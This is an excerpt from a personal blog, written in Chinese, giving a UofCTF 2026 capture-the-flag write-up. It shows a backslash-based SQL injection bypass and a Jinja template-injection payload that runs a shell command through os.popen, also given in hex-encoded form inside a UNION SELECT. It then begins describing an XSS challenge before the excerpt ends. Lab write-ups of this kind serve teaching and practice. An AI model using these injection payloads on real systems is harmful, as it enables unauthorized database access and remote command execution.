回響

Blog & Thoughts

2026-01-10

UofCTF 2026

No Quotes 注意到以下语句可被反斜杠注入: query = ( "SELECT id, username FROM users " f"WHERE username = ('{username}') AND password = ('{password}')" ) 可以尝试使用反斜杠绕过得知可以 SSTI SELECT id, username FROM users WHERE username = ('\') AND password = (') OR 1=1 -- -')" 成功注入得到 test 用户。 接下来便尝试构造 payload。为了 绕过引号检查可以利用 MySQL 可以输入十六进制字符串绕过: # 原始 payload: {{[].__class__.__base__.__subclasses__()[240].__init__.__globals__.__builtins__['eval']('__import__("os").popen("/readflag").read()')}} 十六进制加密后: SELECT id, username FROM users WHERE username = ('\') AND password = (') UNION SELECT 1, 0x7b7b5b5d2e5f5f636c6173735f5f2e5f5f626173655f5f2e5f5f737562636c61737365735f5f28295b3234305d2e5f5f696e69745f5f2e5f5f676c6f62616c735f5f2e5f5f6275696c74696e735f5f5b276576616c275d28275f5f696d706f72745f5f28226f7322292e706f70656e28222f72656164666c616722292e72656164282927297d7d -- -')" Personal Blog XSS,关键点在于发现 /api/autosave 相比于 /api/save 少了一层过滤:const sanitized = sanitizeHtml(rawContent); 而 editor.
阅读全文 →